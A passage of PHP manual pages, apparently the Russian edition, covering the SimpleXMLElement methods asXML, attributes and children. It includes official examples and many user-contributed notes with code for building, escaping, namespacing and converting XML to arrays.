$animals = new SimpleXMLElement($xml);

$allowed_breeds = [
    'chihuahua',
    'poodle'
];

try {
    $index = 0;
    foreach ($animals->Dog as $dog) {
        if (!in_array($dog['breed'], $allowed_breeds)) {
            unset($animals->Dog[$index]);
        }
        $index++;
    }
} catch (Throwable $e) {
    echo $e->getMessage();
    // SimpleXMLElement is not properly initialized
}

?>
carlos dot eduardo dot debiasi at gmail dot com 22-Apr-2021 01:23
I create this function so you can through and array build the XML, this allows multiple keys with the same value.
The structure must follow

[
    'key' => 'nameOfTheKey',
    'attributes' => ['id' => '1'],
    'fields' => [
        ['key' => 'fieldSamName', 'value' => '1'],
        ['key' => 'fieldSamName', 'value' => '1'],
        ['key' => 'fieldSamName', 'value' => '2'],
        ['key' => 'fieldWithChild', 'fields' => [
            ['key' => 'car', 'value' => '2'],
            ['key' => 'human', 'value' => '3'],
        ]],
    ]
];

Function:
 function toXml(\SimpleXMLElement $node, array $data)
    {
        foreach ($data as $key => $value) {
            $key = $value['key'];
            if (isset($value['value'])) {
                    $newNode = $node->addChild($key, $value['value']);
                if (isset($value['attributes'])) {
                    foreach ($value['attributes'] as $keyAttr => $valueAttr) {
                        $newNode->addAttribute($keyAttr, $valueAttr);
                    }
                }
            } else {
                $newNode = $node->addChild($key);
                if (isset($value['attributes'])) {
                    foreach ($value['attributes'] as $keyAttr => $valueAttr) {
                        $newNode->addAttribute($keyAttr, $valueAttr);
                    }
                }
            }
            if (isset($value['fields'])) {
                foreach ($value['fields'] as $keyField => $valueField) {
                    $this->toXml($newNode, [$keyField => $valueField]);
                }
            }
        }
    }
nwarap 07-Nov-2017 02:46
Want to continue the ampersand (&) chain problem.

Sometimes, you would want to assign  (=) addChild.
This trick will helps you to do this.

<?php
$webOrders = new SimpleXMLElement('<?xml version="1.0"?><WebOrders></WebOrders>');
$webOrder = $webOrders->addChild('WebOrder');
$product = $webOrder->addChild('Product');
$product[0] = 'T&M';
$product->addAttribute('price', 19.99);
$product->addAttribute('qty', 2);
var_dump($webOrders->asXML());
?>

OUTPUT would be:

<?xml version="1.0" encoding="UTF-8"?>
<WebOrders>
    <WebOrder>
        <Product price="19.99" qty="2">T&amp;M</Product>
    </WebOrder>
</WebOrders>
johninen at gmail dot com 14-Sep-2015 01:27
In the docs for google sitemaps it is required an element for mobile sitemaps that looks like this: <mobile:mobile/>

I used some time to figure out how to make it, but it is quite simple when understood.

$mobile_schema = 'http://www.google.com/schemas/sitemap-mobile/1.0';

//Create root element
$xml_mobile = new SimpleXMLElement('
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9" xmlns:mobile="'.$mobile_schema.'"></urlset>
');

//Add required children
$url_mobile = $xml_b_list_mobile->addChild('url');
$url_mobile->addChild('loc', 'your-mobile-site-url');
$url_mobile->addChild('mobile:mobile', null, $mobile_schema);

For this to work properly the attribute xmlns:mobile must be set in the root node, and then used as namespace(third argument) when creating the mobile:mobile child with null as value.
thallisphp at gmail dot com 07-May-2014 07:35
<?php
class MySimpleXMLElement extends SimpleXMLElement
{
    /**
     * Add SimpleXMLElement code into a SimpleXMLElement
     *
     * @param SimpleXMLElement $append
     */
    public function appendXML($append)
    {
        if ($append) {
            if (strlen(trim((string)$append)) == 0) {
                $xml = $this->addChild($append->getName());
            } else {
                $xml = $this->addChild($append->getName(), (string)$append);
            }

            foreach ($append->children() as $child) {
                $xml->appendXML($child);
            }

            foreach ($append->attributes() as $n => $v) {
                $xml->addAttribute($n, $v);
            }
        }
    }
}
?>
frosty dot z at freesbee dot fr 16-May-2013 02:31
To complete Volker Grabsch's comment, stating :
"Note that although addChild() escapes "<" and ">", it does not escape the ampersand "&"."

To work around that problem, you can use direct property assignment such as :

<?php
$xmlelement->value = 'my value < > &';
// results in <value>my value &lt; &gt; &amp;</value>
?>

instead of doing :

<?php
$xmlelement->addChild('value', 'my value < > &');
// results in <value>my value &lt; &gt; &</value> (invalid XML)
?>

See also: http://stackoverflow.com/questions/552957 (Rationale behind SimpleXMLElement's handling of text values in addChild and addAttribute)

HTH
passerbyxp at gmail dot com 27-Mar-2013 03:59
Be aware that simply because you can <?php $dom->addChild();?> doesn't mean your XML is valid under simple XML itself:

<?php
$dom=simplexml_load_string("<test></test>");
$dom->addChild("3D","1,2,3");
$xml=$dom->asXML();
echo $xml;
/* echos:
<?xml version="1.0"?>
<test><3D>1,2,3</3D></test>
*/

$dom=simplexml_load_string($xml);
/*
generates a whole lots of warnings,
and refuses to create an object.
*/
?>

Same in PHP 5.3 and 5.4
ivan dot kakurov at gmail dot com 13-Jan-2013 04:09
Here's my solution for creating XML from Multidimensional Array.
<?php
//DATA
        $xmlDAta = array(
            array(
                "name"  => "nameVal",
                "value" => "valVal",
                "css"   => "cssVal"
            ),
            array(
                "name"  => "name1Val",
                "value" => "val1Val",
                "css"   => "css1Val"
            ),
            "tname" => array(
                array(
                    "iTname"   => "iTname",
                    "iTname2"  => "iTname1",
                    "iTname2"  => "iTname2",
                    "iTbname3" => array(
                        "iiTbname"  => "tbName",
                        "iiTbname1" => "tbName1",
                    ),
                ),
            ),
            "tdata" => "otheerDAta"
        );

   /**
     * Create XML using string or array
     *
     * @param mixed $data input data
     * @param SimpleXMLElement $xml
     * @param string $child name of first level child
     *
     * @return adding Xml formated data into SimpleXmlElement
     */

function data2XML(array $data, SimpleXMLElement $xml, $child = "items")
    {

        foreach($data as $key => $val) {
            if(is_array($val)) {

                if(is_numeric($key)) {
                    $node  = $xml->addChild($child);
                    $nodes = $node->getName($child);
                } else {

                    $node  = $xml->addChild($key);
                    $nodes = $node->getName($key);
                }

                $node->addChild($nodes, self::data2Xml($val, $node));
            } else {
                $xml->addChild($key, $val);
            }
        }

    }

//Use

        $xml    = new SimpleXMLElement("<root/>");
        Util::data2XML($xmlDAta, $xml, "Items");

?>
jerikojerk 31-Jul-2011 07:32
If you're looking for a way to append children you may be interested in this:

<?php
$x = new SimpleXMLElement('<root name="toplevel"></root>');
$f1 = new SimpleXMLElement('<child pos="1">alpha</child>');
$f2 = new SimpleXMLElement('<child pos="2">beta</child>');
$f3 = new SimpleXMLElement('<child pos="3">gamma</child>');

$x->{$f1->getName()} = $f1;
$x->{$f2->getName()}[] = $f2;
$x->{$f3->getName()}[] = $f3;

echo 'count child=',$x->count(),"\n";
echo $x->asXML();

foreach ( $x->children() as $foo )
{
    var_dump($foo);
}

?>
alex dot feraud at gmail dot com 16-Jun-2011 02:52
Here is a class with more functions for SimpleXMLElement :

<?php
/**
 *
 * Extension for SimpleXMLElement
 * @author Alexandre FERAUD
 *
 */
class ExSimpleXMLElement extends SimpleXMLElement
{
    /**
     * Add CDATA text in a node
     * @param string $cdata_text The CDATA value  to add
     */
  private function addCData($cdata_text)
  {
   $node= dom_import_simplexml($this);
   $no = $node->ownerDocument;
   $node->appendChild($no->createCDATASection($cdata_text));
  }

  /**
   * Create a child with CDATA value
   * @param string $name The name of the child element to add.
   * @param string $cdata_text The CDATA value of the child element.
   */
    public function addChildCData($name,$cdata_text)
    {
        $child = $this->addChild($name);
        $child->addCData($cdata_text);
    }

    /**
     * Add SimpleXMLElement code into a SimpleXMLElement
     * @param SimpleXMLElement $append
     */
    public function appendXML($append)
    {
        if ($append) {
            if (strlen(trim((string) $append))==0) {
                $xml = $this->addChild($append->getName());
                foreach($append->children() as $child) {
                    $xml->appendXML($child);
                }
            } else {
                $xml = $this->addChild($append->getName(), (string) $append);
            }
            foreach($append->attributes() as $n => $v) {
                $xml->addAttribute($n, $v);
            }
        }
    }
}
?>
Volker Grabsch 21-Apr-2011 06:17
Note that although addChild() escapes "<" and ">", it does not escape the ampersand "&".

So addChild() is unsuited to handle user-defined input!

Instead, you will have to replace all "&" with "&amp;" before calling addChild().

Or, use htmlspecialchars() which also replaces other characters, but won't do any harm as addChild() won't replace those again.
felipenmoura at gmail dot com 11-Apr-2011 06:06
This method returns a reference to the specific SimpleXMLElement.
If you use:
<?php
    $xml= new SimpleXMLElement('<root></root>');
    $xml->father['name']= 'Fathers name'; // creates automatically a father tag with attribute name
    $son= $xml->father->addChild('son'); // uses the first father tag
    $son['name']= 'first son';
    $otherSon= $xml->father->addChild('son'); // uses the first father tag but now, in a second son tag
    $otherSon['name']= 'second son';

    echo htmlentities($xml->asXML());
?>

The result will be
<root>
    <father>
        <son name='first son' />
        <son name='second son' />
    </father>
</root>

So, once you change something to the just added child, you are actually accessing the element inside the SimpleXMLElement as a reference.


Возвращает сформированный XML-документ в виде строки на основе элемента SimpleXML

  • « SimpleXMLElement::addChild
  • SimpleXMLElement::attributes »
  • PHP Manual
  • SimpleXMLElement
  • Возвращает сформированный XML-документ в виде строки на основе элемента SimpleXML

SimpleXMLElement::asXML

(PHP 5, PHP 7, PHP 8)

SimpleXMLElement::asXML — Возвращает сформированный XML-документ в виде строки на основе элемента SimpleXML

Описание

public SimpleXMLElement::asXML(?string $filename = null): string|bool

Метод asXML задаёт формат данных родительских объектов в версии XML 1.0.

Список параметров

filename

Если указано значение в виде строки (string), то функция запишет данные в файл, а не вернёт их.

Возвращаемые значения

Если filename не указан, то функция вернёт строку (string) в случае успешного выполнения и false в случае возникновения ошибки. Если параметр указан, то функция вернёт true, если файл будет успешно записан и false в противном случае.

Список изменений

Версия | Описание
8.0.0 | filename теперь допускает значение null.

Примеры

Пример #1 Получение XML

<?php
$string = <<<XML
<a>
<b>
<c>текст</c>
<c>штучка</c>
</b>
<d>
<c>код</c>
</d>
</a>
XML;

$xml = new SimpleXMLElement($string);

echo $xml->asXML();

?>

Результат выполнения приведённого примера:

<?xml version="1.0"?>
<a>
 <b>
  <c>текст</c>
  <c>штучка</c>
 </b>
 <d>
  <c>код</c>
 </d>
</a>

asXML также работает с результатами Xpath:

Пример #2 Использование asXML() с результатами SimpleXMLElement::xpath()

<?php
// Продолжение примера XML выше.

/* Поиск <a><b><c> */
$result = $xml->xpath('/a/b/c');

foreach ($result as $node) {
echo $node->asXML();
}
?>

Результат выполнения приведённого примера:

<c>текст</c><c>штучка</c>

Смотрите также

  • SimpleXMLElement::__toString() - Возвращает содержимое строки
  • Основы работы с модулем SimpleXML

User Contributed Notes

andreas dot theissen at t-online dot de 27-Oct-2012 12:37
To prevent asXML from encoding vowels unwantedly, simply use an approriate XML header with encoding in advance.

If you do so, asXML will happily leave your vowels (and the header) entirely untouched.

<?php

$xmlstr =
'<?xml version="1.0" encoding="UTF-8"?>
<keys>
  <key lang="en">&lt;Insert&gt;</key>
  <key lang="de">&lt;Einfugen&gt;</key>
</keys>';

$sxe = new SimpleXMLElement($xmlstr);

$output = $sxe->asXML();

?>

$xmlstr and $output are identical now.

The subsequent use of html_entity_decode() (as proposed in the very beginning in another post) has several drawbacks:

1. It is slow
2. It is expensive
3. If there are already encoded arrow brackets or double quotes in your source for instance (as shown in the above example), markup will be broken.
oleg dot pavlin at gmail dot com 10-Jan-2012 04:17
Function asXML decodes special chars like o, ? and others to &#xE6;, &#xF8;

To get normal output use without quoting:

$xml = html_entity_decode($xml, ENT_NOQUOTES, 'UTF-8');


Возвращает атрибуты элемента

  • « SimpleXMLElement::asXML
  • SimpleXMLElement::children »
  • PHP Manual
  • SimpleXMLElement
  • Возвращает атрибуты элемента

SimpleXMLElement::attributes

(PHP 5, PHP 7, PHP 8)

SimpleXMLElement::attributes — Возвращает атрибуты элемента

Описание

public SimpleXMLElement::attributes(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement

Эта функция возвращает названия и значения атрибутов, определённые в теге XML.

Замечание: SimpleXML содержит правило добавления итеративных свойств к большинству методов. Они не могут быть просмотрены с использованием var_dump() или каких-либо других средств анализа объектов.

Список параметров

namespaceOrPrefix

Необязательное пространство имён для извлечённых атрибутов

isPrefix

По умолчанию false

Возвращаемые значения

Возвращает итерируемый объект SimpleXMLElement, по которому можно перемещаться для перебора всех атрибутов тега.

Возвращает null, если вызванный объект SimpleXMLElement уже представляет атрибут, а не тег.

Примеры

Пример #1 Интерпретация XML-строки

<?php
$string = <<<XML
<a>
<foo name="one" game="lonely">1</foo>
</a>
XML;

$xml = simplexml_load_string($string);
foreach($xml->foo[0]->attributes() as $a => $b) {
echo $a,'="',$b,"\"\n";
}
?>

Результат выполнения приведённого примера:

name="one"
game="lonely"

Смотрите также

  • Основы работы с модулем SimpleXML

User Contributed Notes

jurchiks101 at gmail dot com 23-May-2018 12:38
An undocumented way - and, IMO, a hack - of getting an element's value OR attributes
(but not both) without type-casting is to use the function `current()`:

<?php
$xml = new SimpleXMLElement(<<<'XML'
<foo>
    <bar>1</bar>
    <baz name="baz" />
    <qux name="qux">3</qux>
</foo>
XML
);

var_dump([
    'bar' => [
        $xml->bar,
        current($xml->bar),
    ],
    'baz' => [
        $xml->baz->attributes(),
        current($xml->baz->attributes()),
    ],
    'qux' => [
        // won't work here correctly
        $xml->qux,
        current($xml->qux),
        $xml->qux->attributes(),
        current($xml->qux->attributes()),
    ],
]);
?>

Results in the following output (re-formatted to shorten it):
```
array(3) {
  'bar' => array(2) {
    [0] => class SimpleXMLElement#2 (1) {
      public ${0} => string(1) "1"
    }
    [1] => string(1) "1"
  }
  'baz' => array(2) {
    [0] => class SimpleXMLElement#5 (1) {
      public $@attributes => array(1) {
        ...
      }
    }
    [1] => array(1) {
      'name' => string(3) "baz"
    }
  }
  'qux' => array(4) {
    [0] => class SimpleXMLElement#6 (2) {
      public $@attributes => array(1) {
        ...
      }
      public ${0} => string(1) "3"
    }
    [1] => array(1) {
      'name' => string(3) "qux"
    }
    [2] => class SimpleXMLElement#7 (1) {
      public $@attributes => array(1) {
        ...
      }
    }
    [3] => array(1) {
      'name' => string(3) "qux"
    }
  }
}
```

This apparently reads the element as an array and just returns the value of the first property, whether it be the attributes or the value. As seen in the third example, this is unreliable, especially if you're parsing XML from an outside source that may or may not have attributes on an element that you want the value of.

I certainly do NOT advise anyone to use this since it is undocumented and it is just a coincidence that it works, so it might break in the future without prior notice.
andy dot locologic+101 at gmail dot com 14-Aug-2015 10:00
Easiest and safest way to get attributes as an array is to use the iterator_to_array function (see http://php.net/manual/en/function.iterator-to-array.php):

<?php
      $x = new SimpleXMLElement('<div class="myclass" id="myid"/>');
      $attributes = iterator_to_array($x->attributes());
?>
zevnikrok 18-Dec-2014 11:01
If you wish to get attributes as an associative array of key value pairs, you don't need to iterate through them, you can get it with this one liner:

  reset($element->attributes())
webfelipemaia at gmail dot com 07-Sep-2013 05:11
Use attributes to display when it meets certain condition defined attribute / value in xml tags.

Use atributos para exibir quando atende determinada condicao definida atributo / valor em tags XML.

Consider the following example:
Considere o seguinte exemplo:

(file.xml)

<?xml version="1.0" encoding="UTF-8"?>

<list>
    <item type="Language">
        <name>PHP</name>
        <link>www.php.net</link>
    </item>
    <item type="Database">
        <name>Java</name>
        <link>www.oracle.com/br/technologies/java/?</link>
    </item>
</list>

Checks if the attribute value equals "Language", if equal prints everything that is related to "Language".

Verifica se o valor do atributo e igual a "Language", se for, imprime tudo o que for relativo ao mesmo.

<?php

$xml = simplexml_load_file("file.xml");

foreach($xml->children() as $child) {

        $role = $child->attributes();

        foreach($child as $key => $value) {

            if($role == "Language")
            echo("[".$key ."] ".$value . "<br />");

        }
}
?>

output:
saida:

[name] PHP
[link] www.php.net
adrian at foeder dot de 14-Jun-2013 10:15
in order to get a possibly present xml:space attribute, use the following construct:

<?php
$simpleXmlElement->element->attributes('http://www.w3.org/XML/1998/namespace')->space;
?>

This will, for example, return 'preserve' if set.

Just passing by 'xml' as namespace argument of the attribute() method didn't work out for me. Passing by the complete namespace URI works also if it is not explicitly defined in the underlying XML document.

Also, $simpleXmlElement->getNamespaces() does not return anything of use.
totalwipeout at gmail dot com 08-Nov-2012 05:21
Tip to get a real array of all attributes of a node (not SimpleXML's object acting like an array)

<?php
//- $node is a SimpleXMLElement object

$atts_object = $node->attributes(); //- get all attributes, this is not a real array
$atts_array = (array) $atts_object; //- typecast to an array

//- grab the value of '@attributes' key, which contains the array your after
$atts_array = $atts_array['@attributes'];

var_dump($atts_object); //- outputs object(SimpleXMLElement)[19]
                        //-             public '@attributes' => ...

var_dump($atts_array); //- outputs array (size=11) ...

?>
Hope this helps!
chris at chlab dot ch 23-Mar-2012 10:16
Note that you must provide the namespace if you want to access an attribute of a non-default namespace:

Consider the following example:

<?php
$xml = <<<XML
<?xml version="1.0"?>
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">
 <Table Foo="Bar" ss:ExpandedColumnCount="7">
 </Table>
</Workbook>
XML;

$sxml = new SimpleXMLElement($xml);

/**
 * Access attribute of default namespace
 */
var_dump((string) $sxml->Table[0]['Foo']);
// outputs: 'Bar'

/**
 * Access attribute of non-default namespace
 */
var_dump((int) $sxml->Table[0]['ExpandedColumnCount']);
// outputs: 0

var_dump((int) $sxml->Table[0]->attributes('ss', TRUE)->ExpandedColumnCount);
// outputs: '7'
?>
Andrei 16-May-2011 04:46
Reading the attributes of the root element with name space prefixes as in an Atom feed

<feed xmlns="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:gd="http://schemas.google.com/g/2005" gd:etag="W/&quot;Ck4EQXYzeCp7ImA9WhZWFE4.&quot;">

<?php
$xml =  @simplexml_load_file($feed);
$att_gd = $xml->attributes("gd",1);
$Etag = $att_gd["etag"];
?>
sarlak 27-Apr-2011 01:12
<?php
$att = 'attribueName';

// You can access an element's attribute just like this :
$attribute = $element->attributes()->$att;

// This will save the value of the attribute, and not the objet
$attribute = (string)$element->attributes()->$att;

// You also can edit it this way :
$element->attributes()->$att = 'New value of the attribute';
?>
leap 02-Apr-2011 09:07
If you want to save the value of an attribute into an array, typecast it to a string.

<?php
// stores an xml-element-object
$dataStore['value'] = $attributes->myValue

// stores the value of the attribute
$dataStore['value'] = (string)$attributes->myValue
?>
alan at performantsystems dot com 23-May-2010 10:26
So lets say you have database type data in an XML string called $xmlstring with the key or item ID as an XML Attribute and all content data as regular XML Elements, as above. SimpleXML processes the Attributes as an array, so we can play along and push the Attributes into an array. Then we can get the value of any specific Attribute we want by addressing it by name, such as "ID".

Considering this data:

<?xml version="1.0" encoding="utf-8"?>
<data>
   <item ID="30001">
      <Company>Navarro Corp.</Company>
   </item>
   <item ID="30002">
      <Company>Performant Systems</Company>
   </item>
   <item ID="30003">
      <Company>Digital Showcase</Company>
   </item>
</data>

Example of listing both the ID Attribute and Company Element values:

<?php
$xmlObject = new SimpleXMLElement($xmlstring);
foreach ($xmlObject->children() as $node) {
        $arr = $node->attributes();   // returns an array
        print ("ID=".$arr["ID"]);     // get the value of this attribute
        print ("  Company=".$node->Company);
        print ("<p><hr>");
}
?>
Xeoncross 10-Apr-2010 07:46
It is really simple to access attributes using array form. However, you must convert them to strings or ints if you plan on passing the values to functions.

<?php
SimpleXMLElement Object
(
    [@attributes] => Array
        (
            [id] => 55555
        )

    [text] => "hello world"
)
?>

Then using a function

<?php
function xml_attribute($object, $attribute)
{
    if(isset($object[$attribute]))
        return (string) $object[$attribute];
}
?>

I can get the "id" like this

<?php
print xml_attribute($xml, 'id'); //prints "55555"
?>
gillllberg at gmail dot com 04-Nov-2009 02:21
To get an attribute in the node, use node->attributes()->attributeName
skerr at mojavi dot org 09-Dec-2004 10:55
You can also access the node as an array to get attributes:

<?php

$xml = simplexml_load_file('file.xml');

echo 'Attribute: ' . $xml['attribute'];

?>
inge at elektronaut dot no 26-May-2004 10:53
here's a simple function to get an attribute by name, based on the example

<?php
function findAttribute($object, $attribute) {
  foreach($object->attributes() as $a => $b) {
    if ($a == $attribute) {
      $return = $b;
    }
  }
  if($return) {
    return $return;
  }
}
?>


Находит дочерние элементы данного узла

  • « SimpleXMLElement::attributes
  • SimpleXMLElement::__construct »
  • PHP Manual
  • SimpleXMLElement
  • Находит дочерние элементы данного узла

SimpleXMLElement::children

(PHP 5, PHP 7, PHP 8)

SimpleXMLElement::children — Находит дочерние элементы данного узла

Описание

public SimpleXMLElement::children(?string $namespaceOrPrefix = null, bool $isPrefix = false): ?SimpleXMLElement

Этот метод находит все дочерние элементы узла. Результат подчиняется стандартным правилам итерации.

Замечание: SimpleXML содержит правило добавления итеративных свойств к большинству методов. Они не могут быть просмотрены с использованием var_dump() или каких-либо других средств анализа объектов.

Список параметров

namespaceOrPrefix

Необязательное пространство имён XML.

isPrefix

Если isPrefix установлен в true, namespaceOrPrefix будет рассмотрен как префикс. Если false, namespaceOrPrefix будет рассмотрен как пространство имён URL.

Возвращаемые значения

Возвращает элемент SimpleXMLElement, даже если узел не имеет дочерних элементов, если узел не представляет атрибут, в этом случае функция возвращает null.

Примеры

Пример #1 Обход псевдомассива children()

<?php
$xml = new SimpleXMLElement(
'<person>
<child role="сын">
<child role="дочь"/>
</child>
<child role="дочь">
<child role="сын">
<child role="сын"/>
</child>
</child>
</person>');

foreach ($xml->children() as $second_gen) {
echo ' У человека родился(-ась) ' . $second_gen['role'];

foreach ($second_gen->children() as $third_gen) {
echo ', у которого родился(-ась) ' . $third_gen['role'] . ';';

foreach ($third_gen->children() as $fourth_gen) {
echo ' и у ' . $third_gen['role'] .
' родился(-ась) ' . $fourth_gen['role'];
}
}
}
?>

Результат выполнения приведённого примера:

У человека родился(-ась) сын, у которого родился(-ась) дочь; У человека
родился(-ась) дочь, у которого родился(-ась) сын; и у сын родился(-ась) сын

Пример #2 Использование пространства имён

<?php
$xml = '<example xmlns:foo="my.foo.urn">
<foo:a>Яблоко</foo:a>
<foo:b>Банан</foo:b>
<c>Вишня</c>
</example>';

$sxe = new SimpleXMLElement($xml);

$kids = $sxe->children('foo');
var_dump(count($kids));

$kids = $sxe->children('foo', TRUE);
var_dump(count($kids));

$kids = $sxe->children('my.foo.urn');
var_dump(count($kids));

$kids = $sxe->children('my.foo.urn', TRUE);
var_dump(count($kids));

$kids = $sxe->children();
var_dump(count($kids));
?>
int(0)
int(2)
int(2)
int(0)
int(1)

Смотрите также

  • SimpleXMLElement::count() - Подсчитывает количество дочерних элементов у текущего элемента
  • count() - Подсчитывает количество элементов в массиве или в объекте Countable

User Contributed Notes

boan dot web at outlook dot com 15-Mar-2019 07:09
SimpleXMLElement::children can return null in this case:

<?php
$xml = '
<root attr="Hello"/>
';

$sxe = new SimpleXMLElement($xml);

$sxe_xpath = $sxe->xpath('/root/@attr')[0];

$children = $sxe_xpath->children();

var_export($children); // Is null
?>
thetazzbot at gmail dot com 08-Sep-2011 06:56
Ok so say you have this xml:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE nitf
PUBLIC "-//IPTC-NAA//DTD NITF 3.1//EN"
       "http://www.nitf.org/site/nitf-documentation/nitf-3-1.dtd">
<nitf>
  <head>
    <docdata management-status="embargoed">
      <!--data/2011/08/23/parties/doc4e53aa5783cca930694817.txt-->
      <doc-id id-string="doc4e53aa5783cca930694817"/>
      <date.release norm="20110823T000000"/>
      <key-list/>
    </docdata>
    <pubdata type="web" position.section="parties" position.sequence="0"/>
  </head>

-- snip --

If you need to access the nodes named "like.this" such as the date.release above, here is how I did it:

$xml = new SimpleXMLElement($xhtml);
 echo (string)$xml->head->docdata->{"date.release"}["norm"];

Took me a while to figure that one out ;)
coldshine1 at rambler dot ru 10-Dec-2010 02:37
This is my recursive simple function to parse XML with attributes.

<?php
function ParseXML($node, &$parent=array(), $only_child=true) {

        //Current node name
        $node_name = $node->getName();

        //Let's count children
        $only_child = true;
        if($node->count() > 1 ) $only_child = false;

        //If there is no child, then there may be text data
        if($only_child){
            $content="$node";
            if (strlen($content)>0) $parent['content']=$content;
        }

        //Get attributes of current node
        foreach ($node->attributes() as $k=>$v) {
            $parent['@attributes'][$k]="$v";
        }

        //Get children
        $count = 0;
        foreach ($node->children() as $child_name=>$child_node) {
            if(!$only_child) //If there are siblings then we'll add node to the end of the array
                LGServerPVR::ParseXML($child_node, $parent[$node_name][$child_name][$count], $only_child);
            else
                LGServerPVR::ParseXML($child_node, $parent[$node_name][$child_name], $only_child);
            $count++;
        }

        return $parent;
        //(c) c01d[s]h!nE 10.12.2010
    }

?>
Anonymous 26-Oct-2010 05:19
Here's my xml-to-array routine. Unlike many of the other comments here, this one takes namespaces into account.

<?php

class XmlArray {

  public function load_dom ($xml) {
    $node=simplexml_import_dom($xml);
    return $this->add_node($node);
  }

  public function load_string ($s) {
    $node=simplexml_load_string($s);
    return $this->add_node($node);
  }

  private function add_node ($node, &$parent=null, $namespace='', $recursive=false) {

    $namespaces = $node->getNameSpaces(true);
    $content="$node";

    $r['name']=$node->getName();
    if (!$recursive) {
      $tmp=array_keys($node->getNameSpaces(false));
      $r['namespace']=$tmp[0];
      $r['namespaces']=$namespaces;
    }
    if ($namespace) $r['namespace']=$namespace;
    if ($content) $r['content']=$content;

    foreach ($namespaces as $pre=>$ns) {
      foreach ($node->children($ns) as $k=>$v) {
        $this->add_node($v, $r['children'], $pre, true);
      }
      foreach ($node->attributes($ns) as $k=>$v) {
        $r['attributes'][$k]="$pre:$v";
      }
    }
    foreach ($node->children() as $k=>$v) {
      $this->add_node($v, $r['children'], '', true);
    }
    foreach ($node->attributes() as $k=>$v) {
      $r['attributes'][$k]="$v";
    }

    $parent[]=&$r;
    return $parent[0];

  }

}

?>
mrdaniellee at live dot com 10-Jan-2010 09:11
use this If you want to view the HTML as well as data.

normal dumps display the parsed versions of HTML.
This code displays the HTML as Text in a Text Area, and also display all other a data along side as an array

perfect for debugging (xml with html).

Try This Code:

<?php
$xml  = simplexml_load_file($url);

function xml2array_parse($xml){
     foreach ($xml->children() as $parent => $child){
         $return["$parent"] = xml2array_parse($child)?xml2array_parse($child):"$child";
     }
     return $return;
 }

 print "<pre><textarea style=\"width:200%;height:100%;\">";
 print_r(xml2array_parse($xml));
 print "</textarea></pre>";
?>
rodmen at gmail dot com 21-May-2009 08:32
Transform xml to array php

<?php
function xml2phpArray($xml,$arr){
    $iter = 0;
        foreach($xml->children() as $b){
                $a = $b->getName();
                if(!$b->children()){
                        $arr[$a] = trim($b[0]);
                }
                else{
                        $arr[$a][$iter] = array();
                        $arr[$a][$iter] = xml2phpArray($b,$arr[$a][$iter]);
                }
        $iter++;
        }
        return $arr;
}

$Array = simplexml_load_string(file_get_contents('myfile.xml'));
print_r(xml2phpArray($Array,array()));
?>
Anonymous 06-Sep-2008 05:39
for XML namespaces such as <dc:creator> in RSS feeds use

<?php
    $xml = new SimpleXMLElement($string);
    $item = $xml->channel[0]->item[0];
    $dc = $item->children("http://purl.org/dc/elements/1.1/");
    echo $dc->creator;
?>
transglobe at gmx dot de 19-Mar-2008 02:37
I made a slightly differnt approch towards the RecurseXML function. Beeing hungry I had problems with the code, as it did just overwrite two <maincourse>s. So here is what I did:

<?php

$xml = new SimpleXMLElement(
'<meal>
   <type>Lunch</type>
   <time>12:30</time>
   <menu>
     <entree>salad</entree>
     <maincourse>
        <part>ships</part>
        <part>steak</part>
     </maincourse>
     <maincourse>
        <part>fisch</part>
        <part>rice</part>
     </maincourse>
     <maincourse>
        <part>wine</part>
        <part>cheese</part>
     </maincourse>
   </menu>
</meal>');

$vals = array();
RecurseXML($xml,$vals);

foreach($vals as $key=>$value)
  print("{$key} = {$value}<BR>\n");

function RecurseXML($xml,&$vals,$parent="") {

  $childs=0;
  $child_count=-1; # Not realy needed.
  $arr=array();
        foreach ($xml->children() as $key=>$value) {
                if (in_array($key,$arr)) {
                        $child_count++;
                } else {
                        $child_count=0;
                }
                $arr[]=$key;
                $k=($parent == "") ? "$key.$child_count" : "$parent.$key.$child_count";
                $childs=RecurseXML($value,$vals,$k);
                if ($childs==0) {
                        $vals[$k]= (string)$value;
                }
        }

  return $childs;
}

?>
Output is like this:
type.0 = Lunch
time.0 = 12:30
menu.0.entree.0 = salad
menu.0.maincourse.0.part.0 = ships
menu.0.maincourse.0.part.1 = steak
menu.0.maincourse.0 =
menu.0.maincourse.1.part.0 = fisch
menu.0.maincourse.1.part.1 = rice
menu.0.maincourse.1 =
menu.0.maincourse.2.part.0 = wine
menu.0.maincourse.2.part.1 = cheese
menu.0.maincourse.2 =
menu.0 =

(Not beautiful, but it solved my case...)
crescentfreshpot at yahoo dot com 10-Dec-2007 08:16
Just a warning that the iterable returned from children() contains the '@attributes' key, which is "invisible" during a foreach but can be seen if using a different construct, such as list()=each() or casting to an array before iterating w/ foreach.
aero 23-May-2007 08:07
Here's a simple, recursive, function to transform XML data into pseudo E4X syntax ie. root.child.value = foobar

<?php
error_reporting(E_ALL);

$xml = new SimpleXMLElement(
'<Patriarch>
   <name>Bill</name>
   <wife>
     <name>Vi</name>
   </wife>
   <son>
     <name>Bill</name>
   </son>
   <daughter>
     <name>Jeri</name>
     <husband>
       <name>Mark</name>
     </husband>
     <son>
       <name>Greg</name>
     </son>
     <son>
       <name>Tim</name>
     </son>
     <son>
       <name>Mark</name>
     </son>
     <son>
       <name>Josh</name>
         <wife>
           <name>Kristine</name>
         </wife>
         <son>
           <name>Blake</name>
         </son>
         <daughter>
           <name>Liah</name>
         </daughter>
     </son>
   </daughter>
</Patriarch>');

RecurseXML($xml);

function RecurseXML($xml,$parent="")
{
   $child_count = 0;
   foreach($xml as $key=>$value)
   {
      $child_count++;
      if(RecurseXML($value,$parent.".".$key) == 0)  // no childern, aka "leaf node"
      {
         print($parent . "." . (string)$key . " = " . (string)$value . "<BR>\n");
      }
   }
   return $child_count;
}

?>

The output....

.name = Bill
.wife.name = Vi
.son.name = Bill
.daughter.name = Jeri
.daughter.husband.name = Mark
.daughter.son.name = Greg
.daughter.son.name = Tim
.daughter.son.name = Mark
.daughter.son.name = Josh
.daughter.son.wife.name = Kristine
.daughter.son.son.name = Blake
